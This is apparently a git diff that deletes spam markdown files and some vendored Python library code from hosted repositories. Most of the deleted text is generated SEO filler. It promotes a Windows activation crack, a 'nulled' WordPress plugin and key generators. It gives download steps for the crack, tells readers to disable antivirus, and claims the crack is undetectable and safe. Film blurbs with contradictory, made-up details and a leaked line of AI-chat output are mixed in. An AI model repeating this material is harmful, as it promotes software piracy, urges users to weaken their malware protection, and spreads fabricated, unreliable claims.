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                Windows Loader v2.2.2 by Daz is also unique because it uses a special method to activate Windows 7 that is undetectable by Microsoft. It does not modify any system files or registry entries that can be detected by Windows Genuine Advantage (WGA) or Windows Activation Technologies (WAT). It also does not create any new files or folders that can be traced by Microsoft. It only injects a SLIC code into your system before Windows boots, which makes Windows think that it is pre-activated by the manufacturer.

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                This means that you can use Windows Loader v2.2.2 by Daz without worrying about being detected or blocked by Microsoft. You can also update your system with the latest security patches and features from Microsoft without any problems.

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                Where to Download Windows Loader v2.2.2 by Daz?

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                If you want to download Windows Loader v2.2.2 by Daz, you need to be careful about the source you choose. There are many websites that offer fake or modified versions of Windows Loader v2.2.2 by Daz that may contain viruses or malware, or may not work properly or at all.

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                To avoid these risks, you should only download Windows Loader v2.2.2 by Daz from the official website or from a trusted source that has positive reviews and feedback from users and experts.

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                One of the best sources to download Windows Loader v2.2.2 by Daz is officialkmspico.net, which is a reputable website that provides genuine and working activators for various Microsoft products, such as Windows and Office.

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                On this website, you can find the latest version of Windows Loader v2.2.2 by Daz, as well as other useful information and instructions on how to use it.

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                To download Windows Loader v2.2.2 by Daz from officialkmspico.net, follow these steps:

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                1. Go to officialkmspico.net/windows-loader/
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                2. Scroll down and click on the Download button.
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                3. You will be redirected to another page where you need to complete a captcha verification.
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                4. After completing the captcha verification, click on the Download Now button.
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                5. You will be redirected to another page where you need to wait for a few seconds until the download link appears.
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                6. Click on the Download Link button and save the zip file on your computer.
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                That's it! You have successfully downloaded Windows Loader v2.2.2 by Daz from officialkmspico.net!

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                What are the Risks of Using Windows Loader v2.2.2 by Daz?

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                While Windows Loader v2.2.2 by Daz is a safe and effective tool to activate Windows 7, it is not a legal or official way to do so. Using Windows Loader v2.2.2 by Daz may violate the terms and conditions of Microsoft and may result in some legal or ethical issues.

                - -

                Some of the risks of using Windows Loader v2.2.2 by Daz are:

                - -
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                • You may not be able to access some features or services that require genuine Windows validation, such as Microsoft Office, Windows Store, or Windows Update.
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                • You may not be able to get technical support or warranty from Microsoft or your computer manufacturer if you encounter any problems with your system.
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                • You may be exposed to security threats or malware attacks if you download Windows Loader v2.2.2 by Daz from an untrusted source or if you do not update your system regularly.
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                • You may face legal actions or penalties from Microsoft or other authorities if they detect that you are using a pirated or counterfeit version of Windows 7.
                  • -
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                Therefore, it is advisable to use Windows Loader v2.2.2 by Daz only for testing or educational purposes, and not for commercial or personal use. If you want to use Windows 7 legally and officially, you should buy a genuine license or serial key from Microsoft or an authorized dealer.

                - -

                What are the Alternatives to Windows Loader v2.2.2 by Daz?

                - -

                If you are looking for other ways to activate Windows 7 besides using Windows Loader v2.2.2 by Daz, you have some options to choose from. Some of the alternatives to Windows Loader v2.2.2 by Daz are:

                - -
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                • KMSPico: This is another popular activator that can activate various Microsoft products, such as Windows and Office. It works by replacing the original KMS (Key Management Service) server with a custom one that can activate your system without contacting Microsoft.
                  • -
                • Microsoft Toolkit: This is a multifunctional tool that can activate, manage, and customize various Microsoft products, such as Windows and Office. It works by using the EZ-Activator method that can automatically detect the best activation method for your system.
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                • Re-Loader Activator: This is a simple and lightweight tool that can activate various versions and editions of Windows and Office. It works by using different activation methods depending on your system configuration and requirements.
                  • -
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                These are some of the alternatives to Windows Loader v2.2.2 by Daz that you can try if you want to activate Windows 7 without using Windows Loader v2.2.2 by Daz.

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                How to Uninstall Windows Loader v2.2.2 by Daz?

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                If you want to uninstall Windows Loader v2.2.2 by Daz from your system, you can do so easily and safely. You may want to uninstall Windows Loader v2.2.2 by Daz if you want to switch to another activator, or if you want to restore your system to its original state.

                - -

                To uninstall Windows Loader v2.2.2 by Daz, follow these steps:

                - -
                  -
                1. Run the Windows Loader.exe file with Run as administrator.
                  2. -
                2. A new window will appear with the information about your system and its activation status.
                  3. -
                3. Click on the Uninstall button and wait for a few seconds until the uninstallation process is completed.
                  4. -
                4. A success message will appear and your system will be rebooted automatically.
                  5. -
                5. After the reboot, check your system properties and verify that your Windows 7 is deactivated and not genuine.
                  6. -
                - -

                That's it! You have successfully uninstalled Windows Loader v2.2.2 by Daz from your system!

                - -

                What are the Precautions to Take Before Using Windows Loader v2.2.2 by Daz?

                - -

                Before using Windows Loader v2.2.2 by Daz to activate your Windows 7, you should take some precautions to ensure a smooth and successful activation process. Some of the precautions to take before using Windows Loader v2.2.2 by Daz are:

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                • Backup your important data and files before using Windows Loader v2.2.2 by Daz, in case anything goes wrong or you need to restore your system.
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                • Disable your antivirus software or Windows Defender temporarily, as they may interfere with the activation process or flag Windows Loader v2.2.2 by Daz as a threat.
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                • Make sure that you have a stable internet connection before using Windows Loader v2.2.2 by Daz, as it may need to download some files or updates during the activation process.
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                • Make sure that you have enough free space on your system drive before using Windows Loader v2.2.2 by Daz, as it may create some temporary files or folders during the activation process.
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                • Make sure that you have a compatible version and edition of Windows 7 before using Windows Loader v2.2.2 by Daz, as it may not work with some versions or editions of Windows 7.
                  • -
                - -

                These are some of the precautions to take before using Windows Loader v2.2.2 by Daz to activate your Windows 7.

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                Conclusion

                - -

                Windows Loader v2.2.2 by Daz is a powerful and reliable tool that can activate any version and edition of Windows 7 without paying for a license or serial key. It is free, easy, safe, permanent, and update-friendly. It is also compatible with Windows Vista and Windows Server 2008/2012.

                - -

                Windows Loader v2.2.2 by Daz works by injecting a SLIC code into your system before Windows boots, which makes Windows think that it is pre-activated by the manufacturer. This way, you can bypass the Windows activation process and make your system genuine.

                - -

                If you want to use Windows Loader v2.2.2 by Daz to activate your Windows 7, you should download it from the official website or from a trusted source, and follow the simple steps to install and use it. You should also take some precautions before using it, such as backing up your data, disabling your antivirus software, and having a stable internet connection.

                - -

                However, you should also be aware of the risks and limitations of using Windows Loader v2.2.2 by Daz, such as violating the terms and conditions of Microsoft, not being able to access some features or services that require genuine Windows validation, being exposed to security threats or malware attacks, and facing legal actions or penalties from Microsoft or other authorities.

                - -

                Therefore, you should use Windows Loader v2.2.2 by Daz only for testing or educational purposes, and not for commercial or personal use. If you want to use Windows 7 legally and officially, you should buy a genuine license or serial key from Microsoft or an authorized dealer.

                - -

                We hope that this article has helped you to understand what is Windows Loader v2.2.2 by Daz, how to use it, and what are its advantages and disadvantages. If you have any questions or feedback, please feel free to leave a comment below.

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                Bambina is a 1974 Italian comedy-drama film directed by Alberto Lattuada and starring Gigi Proietti, Teresa Ann Savoy, Irene Papas and Mario Scaccia. The film tells the story of a young girl who runs away from her abusive stepfather and falls in love with a middle-aged lawyer who agrees to take care of her.

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                Bambina was screened at the Locarno International Film Festival in 2021 and received mixed reviews from critics and audiences. The film is praised for its witty dialogue, satirical humor and sensual scenes, but also criticized for its controversial depiction of pedophilia and incest.

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                Bambina Teresa Ann Savoy online is a keyword that refers to a 1974 Italian comedy-drama film starring Teresa Ann Savoy as the titular character. The film is available to watch online on various streaming platforms such as MUBI, IMDb and FilmAffinity. Whether you are looking for a laugh, a thrill or a romance, Bambina Teresa Ann Savoy online is a movie that will entertain you.

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                Bambina Teresa Ann Savoy online is not only a movie, but also a cultural phenomenon. The film has influenced many other works of art and media, such as novels, songs, TV shows and documentaries. Here are some of the most notable examples:

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                • Lolita: Lolita is a 1955 novel by Vladimir Nabokov that tells the story of a middle-aged literature professor who becomes obsessed with a 12-year-old girl. The novel is widely considered to be one of the greatest works of literature of the 20th century and has been adapted into several films, plays and musicals. Lolita shares many themes and motifs with Bambina Teresa Ann Savoy online, such as the unreliable narrator, the nymphet archetype and the moral ambiguity of the relationship between the protagonist and the young girl.
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                Dear Zindagi is a 2016 Bollywood drama film starring Alia Bhatt and Shah Rukh Khan in the lead roles. The film is directed by Gauri Shinde and tells the story of Kaira, a budding cinematographer who struggles with her personal and professional life. She meets Dr. Jehangir Khan, a psychologist who helps her gain a new perspective on life.

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                To watch Dear Zindagi on Netflix, you need to have a Netflix account and a subscription plan that suits your needs. You can choose from different plans that vary in price, number of screens, and video quality. The basic plan costs ₹199 per month and allows you to watch on one screen at a time in standard definition. The standard plan costs ₹649 per month and allows you to watch on two screens at a time in high definition. The premium plan costs ₹799 per month and allows you to watch on four screens at a time in ultra high definition.

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                To watch Dear Zindagi on Google Play Movies or YouTube, you need to have a Google account and a payment method linked to it. You can choose from different options to rent or buy Dear Zindagi in HD quality. The rental option costs ₹50 and allows you to watch the movie for 48 hours after you start playing it. The purchase option costs ₹150 and allows you to watch the movie anytime you want.

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                Conclusion

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                In conclusion, there are several ways to watch Dear Zindagi full movie in HD online using different platforms and devices. However, not all of them are safe or legal as they may violate the copyright laws or expose your device to malware. Therefore, we recommend you to use Netflix, Google Play Movies, or YouTube as they are reliable and legal platforms that offer high-quality streaming of Dear Zindagi in HD online.

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                What is Dear Zindagi About?

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                Dear Zindagi is a 2016 Bollywood drama film that explores the themes of love, life, and happiness. The film is directed by Gauri Shinde, who also directed the critically acclaimed film English Vinglish. The film stars Alia Bhatt and Shah Rukh Khan in the lead roles, along with a supporting cast of Kunal Kapoor, Ali Zafar, Angad Bedi, Ira Dubey, and others.

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                The film follows the story of Kaira, a young and talented cinematographer who dreams of directing her own films. However, she faces various challenges in her personal and professional life that affect her mental health and happiness. She suffers from insomnia, anxiety, and low self-esteem. She also has a complicated relationship with her parents and her romantic partners.

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                She meets Dr. Jehangir Khan, a psychologist who goes by the name of Jug. He helps her overcome her fears and insecurities and teaches her to embrace life with all its imperfections. He also helps her discover her true self and find joy in the simple things. He becomes her friend, mentor, and guide.

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                Dear Zindagi is a film that celebrates the beauty of imperfection and the power of friendship. It is a film that inspires the viewers to live life to the fullest and to love themselves unconditionally.

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                • Watch Dear Zindagi on Other Platforms: There are some other platforms that offer Dear Zindagi full movie in HD online but they may not be available or legal in your country or region. Therefore, we advise you to check the availability and legality of these platforms before using them. Some of these platforms are Desi Cinemas and Online Movies Hindi.
                  • -
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                We hope this article has helped you find the best way to watch Dear Zindagi full movie in HD online. We hope you enjoy watching this wonderful film and learn something from it.

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                • Zee Cine Awards: Won Viewer's Choice Best Film, Nominated for Best Actor in a Supporting Role (Male) for Shah Rukh Khan, Best Actress for Alia Bhatt, and Best Director for Gauri Shinde.
                  • -
                • Screen Awards: Won Best Actress for Alia Bhatt, Nominated for Best Actor in a Supporting Role (Male) for Shah Rukh Khan, Best Director for Gauri Shinde, and Best Screenplay for Gauri Shinde.
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                • IIFA Awards: Won Best Actress for Alia Bhatt, Nominated for Best Actor in a Supporting Role (Male) for Shah Rukh Khan, and Best Story for Gauri Shinde.
                  • -
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                  • -
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                Conclusion

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                In conclusion, Dear Zindagi is a film that you should not miss if you are looking for a meaningful and entertaining watch. The film is a masterpiece that showcases the talents of Alia Bhatt and Shah Rukh Khan, as well as the vision of Gauri Shinde. The film is a film that will make you appreciate life and its challenges more.

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                If you want to watch Dear Zindagi full movie in HD online, you can choose from the options we have mentioned in this article. You can watch Dear Zindagi on Netflix, Google Play Movies, YouTube, or other platforms. However, we recommend you to use Netflix, Google Play Movies, or YouTube as they are safe and legal platforms that offer high-quality streaming of Dear Zindagi in HD online.

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                \ No newline at end of file diff --git a/spaces/tialenAdioni/chat-gpt-api/logs/Js Jobs Pro Nulled Wordpress.md b/spaces/tialenAdioni/chat-gpt-api/logs/Js Jobs Pro Nulled Wordpress.md deleted file mode 100644 index 193ff1d4e4da64c14c8528bd6cff29bab67fd75d..0000000000000000000000000000000000000000 --- a/spaces/tialenAdioni/chat-gpt-api/logs/Js Jobs Pro Nulled Wordpress.md +++ /dev/null @@ -1,41 +0,0 @@ - -I'll try to create that. -Here is what I came up with: - -

                How to Use Js Jobs Pro Nulled Wordpress Plugin to Create a Job Board Website

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                If you are looking for a way to create a job board website with WordPress, you might want to consider using Js Jobs Pro Nulled Wordpress plugin. This plugin is a premium version of Js Jobs, a popular and powerful job board plugin that lets you manage and display job listings, resumes, employers, and candidates on your website.

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                However, the premium version of Js Jobs can be quite expensive, costing $149 for a single site license. That's why some people might opt for Js Jobs Pro Nulled Wordpress plugin, which is a cracked version of the original plugin that can be downloaded for free from various websites.

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                \ No newline at end of file diff --git a/spaces/tioseFevbu/cartoon-converter/EmpireTVTycoonactivationcodeandserialkeyforpc.md b/spaces/tioseFevbu/cartoon-converter/EmpireTVTycoonactivationcodeandserialkeyforpc.md deleted file mode 100644 index 2eccb309ca9460d7fc6bb3c0f74cfa5bb8020b82..0000000000000000000000000000000000000000 --- a/spaces/tioseFevbu/cartoon-converter/EmpireTVTycoonactivationcodeandserialkeyforpc.md +++ /dev/null @@ -1,80 +0,0 @@ -## EmpireTVTycoonactivationcodeandserialkeyforpc - - - - - - ![EmpireTVTycoonactivationcodeandserialkeyforpc](https://image.jimcdn.com/app/cms/image/transf/none/path/s3e90e76754b7682b/image/ib664a2d532e438a6/version/1413550005/image.jpg) - - - - - -**LINK 🌟 [https://urluso.com/2tyQtc](https://urluso.com/2tyQtc)** - - - - - - - - - - - - - -# How to get Empire TV Tycoon activation code and serial key for PC - - - -Empire TV Tycoon is a simulation game where you manage your own TV channel and fight for audiences. You can create your own shows, hire actors, directors, and staff, and make deals with advertisers. But how do you get the activation code and serial key for PC to play the game? - - - -There are two ways to get Empire TV Tycoon activation code and serial key for PC: buying the game or using a generator. Here are the pros and cons of each method: - - - -- **Buying the game:** This is the legal and ethical way to get the game. You can buy Empire TV Tycoon from Steam or other online platforms for around $10. You will get a unique activation code and serial key that you can use to install and play the game on your PC. You will also get access to updates, patches, and online features. The downside is that you have to pay money and you may not be able to play the game offline. - -- **Using a generator:** This is the illegal and risky way to get the game. You can find some websites or programs that claim to generate free activation codes and serial keys for Empire TV Tycoon. You may be tempted to use them to save money and play the game without restrictions. However, this method has many drawbacks. First of all, it is against the law and you may face legal consequences if you get caught. Second, it is unethical and unfair to the developers who worked hard to create the game. Third, it is unsafe and unreliable. You may download viruses, malware, or spyware that can harm your PC or steal your personal information. You may also get fake or invalid codes that won't work or will get banned. - - - -Therefore, we recommend that you buy Empire TV Tycoon from a trusted source and enjoy the game legally and safely. It is not worth risking your PC or your reputation for a free code. - - - -If you decide to buy Empire TV Tycoon, you will need to follow these steps to activate the game on your PC: - - - -1. Go to the Steam website or app and create an account or log in. - -2. Click on the "Add a game" button at the bottom left corner and select "Activate a product on Steam". - -3. Enter the activation code and serial key that you received when you bought the game. - -4. Follow the instructions to download and install the game on your PC. - -5. Launch the game and enjoy! - - - -If you encounter any problems with the activation or installation process, you can contact Steam support or visit the Empire TV Tycoon official website for help. - - - -Empire TV Tycoon is a fun and challenging game that will test your creativity and management skills. You will have to balance your budget, ratings, and reputation as you compete with other TV channels. You will also have to deal with random events, such as strikes, scandals, or disasters, that can affect your business. You can choose from three different game modes: Campaign, Endless, or Custom. You can also customize your channel's name, logo, and color. - - - -Empire TV Tycoon has many features that make it a unique and immersive game. You can create your own shows from different genres, such as drama, comedy, horror, or action. You can hire actors, directors, writers, and other staff members with different skills and personalities. You can also buy or sell rights for movies, documentaries, sports events, and other programs. You can interact with your audience through social media and surveys. You can also unlock achievements and trophies as you progress in the game. - - 145887f19f - - - - - diff --git a/spaces/tioseFevbu/cartoon-converter/scripts/Crestron CP3 Operation Manual Download WORK.md b/spaces/tioseFevbu/cartoon-converter/scripts/Crestron CP3 Operation Manual Download WORK.md deleted file mode 100644 index bd60e8506e754e9d3cf82dd570aeba3667ffddfa..0000000000000000000000000000000000000000 --- a/spaces/tioseFevbu/cartoon-converter/scripts/Crestron CP3 Operation Manual Download WORK.md +++ /dev/null @@ -1,34 +0,0 @@ - -

                How to Download the Crestron CP3 Operation Manual

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                If you are looking for a comprehensive guide on how to operate the Crestron CP3 3-Series Control System, you may want to download the official operation manual from the manufacturer's website. The Crestron CP3 is a powerful and versatile control processor that can handle complex automation and integration tasks for residential and commercial applications. It features a high-performance 32-bit processor, 512 MB of RAM, 4 GB of flash memory, and multiple network and serial ports[^1^].

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                To download the Crestron CP3 operation manual, you can follow these simple steps:

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                The Crestron CP3 3-Series Control System is a compact and cost-effective device that can control and integrate various systems and devices in your home or office. It can handle audio, video, lighting, shades, HVAC, security, and more. It can also communicate with other Crestron devices and third-party products via Ethernet, Cresnet, RS-232, RS-485, IR, or relay.

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                The Crestron CP3 3-Series Control System can be programmed and configured using the Crestron Studio software, which is a comprehensive and intuitive tool that simplifies the design and deployment of complex control systems. The Crestron Studio software also allows you to test and debug your programs and firmware before uploading them to the device.

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                The Crestron CP3 3-Series Control System offers many benefits for users who want to enjoy a smart and convenient lifestyle. Some of these benefits are:

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                \ No newline at end of file diff --git a/spaces/tioseFevbu/cartoon-converter/scripts/Lovewithalovebird !!LINK!!.md b/spaces/tioseFevbu/cartoon-converter/scripts/Lovewithalovebird !!LINK!!.md deleted file mode 100644 index e0216bf1f2b9269e2b5d829faffa1ba67d425ed1..0000000000000000000000000000000000000000 --- a/spaces/tioseFevbu/cartoon-converter/scripts/Lovewithalovebird !!LINK!!.md +++ /dev/null @@ -1,36 +0,0 @@ - -

                Lovewithalovebird: How to Care for Your Feathered Friend

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                Choosing a Suitable Cage and Accessories

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                The cage should also have some essential accessories, such as:

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                  • -
                • A nest box or a cozy corner to provide your lovebird with a sense of security and privacy. Lovebirds are very social birds that like to cuddle and sleep together. If you have only one lovebird, you can provide it with a soft cloth or a fleece blanket to snuggle with.
                  • -
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                Make sure to clean the cage and accessories regularly to keep them hygienic and prevent diseases. You can use a mild soap or vinegar solution to wipe down the cage bars, perches, toys and dishes. You can also use newspaper or paper towels to line the bottom of the cage and change them daily.

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                Providing a Balanced Diet and Fresh Water

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                The next thing you need to do is to provide your lovebird with a balanced diet that meets its nutritional needs. Lovebirds are mainly seed-eaters in the wild, but they also eat fruits, vegetables, insects and nectar. A diet that consists only of seeds can cause obesity, malnutrition and health problems for your lovebird. Therefore, you should offer your lovebird a variety of foods, such as:

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                • A high-quality pellet or seed mix that is specially formulated for lovebirds or small parrots. This should make up about 60% of your lovebird's diet.
                  • -
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                  • -
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                  • -
                -

                Avoid feeding your lovebird foods that are toxic or harmful for it, such as chocolate, avocado, onion, garlic, alcohol, caffeine, salt, etc.

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                \ No newline at end of file diff --git a/spaces/tjburns/ask_marcus_aurelius/.venv/lib/python3.10/site-packages/_distutils_hack/__init__.py b/spaces/tjburns/ask_marcus_aurelius/.venv/lib/python3.10/site-packages/_distutils_hack/__init__.py deleted file mode 100644 index f987a5367fdfaa4f17cd4bf700d56f4b50992368..0000000000000000000000000000000000000000 --- a/spaces/tjburns/ask_marcus_aurelius/.venv/lib/python3.10/site-packages/_distutils_hack/__init__.py +++ /dev/null @@ -1,222 +0,0 @@ -# don't import any costly modules -import sys -import os - - -is_pypy = '__pypy__' in sys.builtin_module_names - - -def warn_distutils_present(): - if 'distutils' not in sys.modules: - return - if is_pypy and sys.version_info < (3, 7): - # PyPy for 3.6 unconditionally imports distutils, so bypass the warning - # https://foss.heptapod.net/pypy/pypy/-/blob/be829135bc0d758997b3566062999ee8b23872b4/lib-python/3/site.py#L250 - return - import warnings - - warnings.warn( - "Distutils was imported before Setuptools, but importing Setuptools " - "also replaces the `distutils` module in `sys.modules`. This may lead " - "to undesirable behaviors or errors. To avoid these issues, avoid " - "using distutils directly, ensure that setuptools is installed in the " - "traditional way (e.g. not an editable install), and/or make sure " - "that setuptools is always imported before distutils." - ) - - -def clear_distutils(): - if 'distutils' not in sys.modules: - return - import warnings - - warnings.warn("Setuptools is replacing distutils.") - mods = [ - name - for name in sys.modules - if name == "distutils" or name.startswith("distutils.") - ] - for name in mods: - del sys.modules[name] - - -def enabled(): - """ - Allow selection of distutils by environment variable. - """ - which = os.environ.get('SETUPTOOLS_USE_DISTUTILS', 'local') - return which == 'local' - - -def ensure_local_distutils(): - import importlib - - clear_distutils() - - # With the DistutilsMetaFinder in place, - # perform an import to cause distutils to be - # loaded from setuptools._distutils. Ref #2906. - with shim(): - importlib.import_module('distutils') - - # check that submodules load as expected - core = importlib.import_module('distutils.core') - assert '_distutils' in core.__file__, core.__file__ - assert 'setuptools._distutils.log' not in sys.modules - - -def do_override(): - """ - Ensure that the local copy of distutils is preferred over stdlib. - - See https://github.com/pypa/setuptools/issues/417#issuecomment-392298401 - for more motivation. - """ - if enabled(): - warn_distutils_present() - ensure_local_distutils() - - -class _TrivialRe: - def __init__(self, *patterns): - self._patterns = patterns - - def match(self, string): - return all(pat in string for pat in self._patterns) - - -class DistutilsMetaFinder: - def find_spec(self, fullname, path, target=None): - # optimization: only consider top level modules and those - # found in the CPython test suite. - if path is not None and not fullname.startswith('test.'): - return - - method_name = 'spec_for_{fullname}'.format(**locals()) - method = getattr(self, method_name, lambda: None) - return method() - - def spec_for_distutils(self): - if self.is_cpython(): - return - - import importlib - import importlib.abc - import importlib.util - - try: - mod = importlib.import_module('setuptools._distutils') - except Exception: - # There are a couple of cases where setuptools._distutils - # may not be present: - # - An older Setuptools without a local distutils is - # taking precedence. Ref #2957. - # - Path manipulation during sitecustomize removes - # setuptools from the path but only after the hook - # has been loaded. Ref #2980. - # In either case, fall back to stdlib behavior. - return - - class DistutilsLoader(importlib.abc.Loader): - def create_module(self, spec): - mod.__name__ = 'distutils' - return mod - - def exec_module(self, module): - pass - - return importlib.util.spec_from_loader( - 'distutils', DistutilsLoader(), origin=mod.__file__ - ) - - @staticmethod - def is_cpython(): - """ - Suppress supplying distutils for CPython (build and tests). - Ref #2965 and #3007. - """ - return os.path.isfile('pybuilddir.txt') - - def spec_for_pip(self): - """ - Ensure stdlib distutils when running under pip. - See pypa/pip#8761 for rationale. - """ - if self.pip_imported_during_build(): - return - clear_distutils() - self.spec_for_distutils = lambda: None - - @classmethod - def pip_imported_during_build(cls): - """ - Detect if pip is being imported in a build script. Ref #2355. - """ - import traceback - - return any( - cls.frame_file_is_setup(frame) for frame, line in traceback.walk_stack(None) - ) - - @staticmethod - def frame_file_is_setup(frame): - """ - Return True if the indicated frame suggests a setup.py file. - """ - # some frames may not have __file__ (#2940) - return frame.f_globals.get('__file__', '').endswith('setup.py') - - def spec_for_sensitive_tests(self): - """ - Ensure stdlib distutils when running select tests under CPython. - - python/cpython#91169 - """ - clear_distutils() - self.spec_for_distutils = lambda: None - - sensitive_tests = ( - [ - 'test.test_distutils', - 'test.test_peg_generator', - 'test.test_importlib', - ] - if sys.version_info < (3, 10) - else [ - 'test.test_distutils', - ] - ) - - -for name in DistutilsMetaFinder.sensitive_tests: - setattr( - DistutilsMetaFinder, - f'spec_for_{name}', - DistutilsMetaFinder.spec_for_sensitive_tests, - ) - - -DISTUTILS_FINDER = DistutilsMetaFinder() - - -def add_shim(): - DISTUTILS_FINDER in sys.meta_path or insert_shim() - - -class shim: - def __enter__(self): - insert_shim() - - def __exit__(self, exc, value, tb): - remove_shim() - - -def insert_shim(): - sys.meta_path.insert(0, DISTUTILS_FINDER) - - -def remove_shim(): - try: - sys.meta_path.remove(DISTUTILS_FINDER) - except ValueError: - pass diff --git a/spaces/tjburns/ask_marcus_aurelius/.venv/lib/python3.10/site-packages/pip/_vendor/rich/markup.py b/spaces/tjburns/ask_marcus_aurelius/.venv/lib/python3.10/site-packages/pip/_vendor/rich/markup.py deleted file mode 100644 index fd80d8c1129722b84771bd6a0f6ccfd57f5cf78e..0000000000000000000000000000000000000000 --- a/spaces/tjburns/ask_marcus_aurelius/.venv/lib/python3.10/site-packages/pip/_vendor/rich/markup.py +++ /dev/null @@ -1,246 +0,0 @@ -import re -from ast import literal_eval -from operator import attrgetter -from typing import Callable, Iterable, List, Match, NamedTuple, Optional, Tuple, Union - -from ._emoji_replace import _emoji_replace -from .emoji import EmojiVariant -from .errors import MarkupError -from .style import Style -from .text import Span, Text - -RE_TAGS = re.compile( - r"""((\\*)\[([a-z#/@][^[]*?)])""", - re.VERBOSE, -) - -RE_HANDLER = re.compile(r"^([\w.]*?)(\(.*?\))?$") - - -class Tag(NamedTuple): - """A tag in console markup.""" - - name: str - """The tag name. e.g. 'bold'.""" - parameters: Optional[str] - """Any additional parameters after the name.""" - - def __str__(self) -> str: - return ( - self.name if self.parameters is None else f"{self.name} {self.parameters}" - ) - - @property - def markup(self) -> str: - """Get the string representation of this tag.""" - return ( - f"[{self.name}]" - if self.parameters is None - else f"[{self.name}={self.parameters}]" - ) - - -_ReStringMatch = Match[str] # regex match object -_ReSubCallable = Callable[[_ReStringMatch], str] # Callable invoked by re.sub -_EscapeSubMethod = Callable[[_ReSubCallable, str], str] # Sub method of a compiled re - - -def escape( - markup: str, - _escape: _EscapeSubMethod = re.compile(r"(\\*)(\[[a-z#/@][^[]*?])").sub, -) -> str: - """Escapes text so that it won't be interpreted as markup. - - Args: - markup (str): Content to be inserted in to markup. - - Returns: - str: Markup with square brackets escaped. - """ - - def escape_backslashes(match: Match[str]) -> str: - """Called by re.sub replace matches.""" - backslashes, text = match.groups() - return f"{backslashes}{backslashes}\\{text}" - - markup = _escape(escape_backslashes, markup) - return markup - - -def _parse(markup: str) -> Iterable[Tuple[int, Optional[str], Optional[Tag]]]: - """Parse markup in to an iterable of tuples of (position, text, tag). - - Args: - markup (str): A string containing console markup - - """ - position = 0 - _divmod = divmod - _Tag = Tag - for match in RE_TAGS.finditer(markup): - full_text, escapes, tag_text = match.groups() - start, end = match.span() - if start > position: - yield start, markup[position:start], None - if escapes: - backslashes, escaped = _divmod(len(escapes), 2) - if backslashes: - # Literal backslashes - yield start, "\\" * backslashes, None - start += backslashes * 2 - if escaped: - # Escape of tag - yield start, full_text[len(escapes) :], None - position = end - continue - text, equals, parameters = tag_text.partition("=") - yield start, None, _Tag(text, parameters if equals else None) - position = end - if position < len(markup): - yield position, markup[position:], None - - -def render( - markup: str, - style: Union[str, Style] = "", - emoji: bool = True, - emoji_variant: Optional[EmojiVariant] = None, -) -> Text: - """Render console markup in to a Text instance. - - Args: - markup (str): A string containing console markup. - emoji (bool, optional): Also render emoji code. Defaults to True. - - Raises: - MarkupError: If there is a syntax error in the markup. - - Returns: - Text: A test instance. - """ - emoji_replace = _emoji_replace - if "[" not in markup: - return Text( - emoji_replace(markup, default_variant=emoji_variant) if emoji else markup, - style=style, - ) - text = Text(style=style) - append = text.append - normalize = Style.normalize - - style_stack: List[Tuple[int, Tag]] = [] - pop = style_stack.pop - - spans: List[Span] = [] - append_span = spans.append - - _Span = Span - _Tag = Tag - - def pop_style(style_name: str) -> Tuple[int, Tag]: - """Pop tag matching given style name.""" - for index, (_, tag) in enumerate(reversed(style_stack), 1): - if tag.name == style_name: - return pop(-index) - raise KeyError(style_name) - - for position, plain_text, tag in _parse(markup): - if plain_text is not None: - # Handle open brace escapes, where the brace is not part of a tag. - plain_text = plain_text.replace("\\[", "[") - append(emoji_replace(plain_text) if emoji else plain_text) - elif tag is not None: - if tag.name.startswith("/"): # Closing tag - style_name = tag.name[1:].strip() - - if style_name: # explicit close - style_name = normalize(style_name) - try: - start, open_tag = pop_style(style_name) - except KeyError: - raise MarkupError( - f"closing tag '{tag.markup}' at position {position} doesn't match any open tag" - ) from None - else: # implicit close - try: - start, open_tag = pop() - except IndexError: - raise MarkupError( - f"closing tag '[/]' at position {position} has nothing to close" - ) from None - - if open_tag.name.startswith("@"): - if open_tag.parameters: - handler_name = "" - parameters = open_tag.parameters.strip() - handler_match = RE_HANDLER.match(parameters) - if handler_match is not None: - handler_name, match_parameters = handler_match.groups() - parameters = ( - "()" if match_parameters is None else match_parameters - ) - - try: - meta_params = literal_eval(parameters) - except SyntaxError as error: - raise MarkupError( - f"error parsing {parameters!r} in {open_tag.parameters!r}; {error.msg}" - ) - except Exception as error: - raise MarkupError( - f"error parsing {open_tag.parameters!r}; {error}" - ) from None - - if handler_name: - meta_params = ( - handler_name, - meta_params - if isinstance(meta_params, tuple) - else (meta_params,), - ) - - else: - meta_params = () - - append_span( - _Span( - start, len(text), Style(meta={open_tag.name: meta_params}) - ) - ) - else: - append_span(_Span(start, len(text), str(open_tag))) - - else: # Opening tag - normalized_tag = _Tag(normalize(tag.name), tag.parameters) - style_stack.append((len(text), normalized_tag)) - - text_length = len(text) - while style_stack: - start, tag = style_stack.pop() - style = str(tag) - if style: - append_span(_Span(start, text_length, style)) - - text.spans = sorted(spans[::-1], key=attrgetter("start")) - return text - - -if __name__ == "__main__": # pragma: no cover - - MARKUP = [ - "[red]Hello World[/red]", - "[magenta]Hello [b]World[/b]", - "[bold]Bold[italic] bold and italic [/bold]italic[/italic]", - "Click [link=https://www.willmcgugan.com]here[/link] to visit my Blog", - ":warning-emoji: [bold red blink] DANGER![/]", - ] - - from pip._vendor.rich import print - from pip._vendor.rich.table import Table - - grid = Table("Markup", "Result", padding=(0, 1)) - - for markup in MARKUP: - grid.add_row(Text(markup), markup) - - print(grid) diff --git a/spaces/tomandandy/MusicGen3/audiocraft/utils/notebook.py b/spaces/tomandandy/MusicGen3/audiocraft/utils/notebook.py deleted file mode 100644 index 019b9d19e5bef976bedddf428fd25da42a8a9726..0000000000000000000000000000000000000000 --- a/spaces/tomandandy/MusicGen3/audiocraft/utils/notebook.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright (c) Meta Platforms, Inc. and affiliates. -# All rights reserved. -# -# This source code is licensed under the license found in the -# LICENSE file in the root directory of this source tree. - -try: - import IPython.display as ipd # type: ignore -except ImportError: - # Note in a notebook... - pass - - -import torch - - -def display_audio(samples: torch.Tensor, sample_rate: int): - """Renders an audio player for the given audio samples. - - Args: - samples (torch.Tensor): a Tensor of decoded audio samples - with shapes [B, C, T] or [C, T] - sample_rate (int): sample rate audio should be displayed with. - """ - assert samples.dim() == 2 or samples.dim() == 3 - - samples = samples.detach().cpu() - if samples.dim() == 2: - samples = samples[None, ...] - - for audio in samples: - ipd.display(ipd.Audio(audio, rate=sample_rate)) diff --git a/spaces/tomofi/NDLOCR/src/ndl_layout/mmdetection/configs/guided_anchoring/ga_rpn_x101_64x4d_fpn_1x_coco.py 